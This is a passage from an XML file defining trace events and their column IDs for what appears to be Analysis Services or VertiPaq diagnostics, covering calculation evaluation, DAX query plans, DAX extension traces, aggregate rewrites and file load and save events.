            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
		
        <EVENT>
          <ID>110</ID>
          <NAME>Calculation Evaluation</NAME>
          <DESCRIPTION>Information about the evaluation of calculations. This event will have a negative impact on performance when turned on.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>InitEvalNode Start</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>InitEvalNode End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>BuildEvalNode Start</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>BuildEvalNode End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>PrepareEvalNode Start</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>PrepareEvalNode End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>RunEvalNode Start</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>RunEvalNode End</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>111</ID>
          <NAME>Calculation Evaluation Detailed Information</NAME>
          <DESCRIPTION>Detailed information about the evaluation of calculations. This event will have a negative impact on performance when turned on.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>100</ID>
                  <NAME>BuildEvalNode Eliminated Empty Calculations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>101</ID>
                  <NAME>BuildEvalNode Subtracted Calculation Spaces</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>102</ID>
                  <NAME>BuildEvalNode Applied Visual Totals</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>103</ID>
                  <NAME>BuildEvalNode Detected Cached Evaluation Node</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>104</ID>
                  <NAME>BuildEvalNode Detected Cached Evaluation Results</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>105</ID>
                  <NAME>PrepareEvalNode Begin Prepare Evaluation Item</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>106</ID>
                  <NAME>PrepareEvalNode Finished Prepare Evaluation Item</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>107</ID>
                  <NAME>RunEvalNode Finished Calculating Item</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>112</ID>
          <NAME>DAX Query Plan</NAME>
          <DESCRIPTION>DAX logical/physical plan tree for VertiPaq and DirectQuery modes.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DAX VertiPaq Logical Plan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>DAX VertiPaq Physical Plan</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DAX DirectQuery Algebrizer Tree</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DAX DirectQuery Logical Plan</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>120</ID>
          <NAME>DAX Extension Execution Begin</NAME>
          <DESCRIPTION>DAX extension function execution begin event.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>50</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>121</ID>
          <NAME>DAX Extension Execution End</NAME>
          <DESCRIPTION>DAX extension function execution end event.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>50</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>122</ID>
          <NAME>DAX Extension Trace Error</NAME>
          <DESCRIPTION>DAX extension function error trace event directly traced by extension authors.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>50</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>123</ID>
          <NAME>DAX Extension Trace Info</NAME>
          <DESCRIPTION>DAX extension function informational/telemetry trace event directly traced by extension authors.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>50</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>124</ID>
          <NAME>DAX Extension Trace Verbose</NAME>
          <DESCRIPTION>DAX extension function verbose trace event directly traced by extension authors.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>50</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>131</ID>
          <NAME>Aggregate Table Rewrite Query</NAME>
          <DESCRIPTION>A query was rewritten according to available aggregate tables</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Rewrite Attempted</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>132</ID>
          <NAME>Aggregate Table Rewrite Info</NAME>
          <DESCRIPTION>Information about aggregation table matching.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>File Load and Save</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for file load and save operations reporting.</DESCRIPTION>
      <EVENTLIST>
        <EVENT>
          <ID>90</ID>
          <NAME>File Load Begin</NAME>
          <DESCRIPTION>File Load Begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>91</ID>
          <NAME>File Load End</NAME>
          <DESCRIPTION>File Load End.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>92</ID>
          <NAME>File Save Begin</NAME>
          <DESCRIPTION>File Save Begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>93</ID>
          <NAME>File Save End</NAME>
          <DESCRIPTION>File Save End</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>94</ID>
          <NAME>PageOut Begin</NAME>
          <DESCRIPTION>PageOut Begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>95</ID>
          <NAME>PageOut End</NAME>
          <DESCRIPTION>PageOut End</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
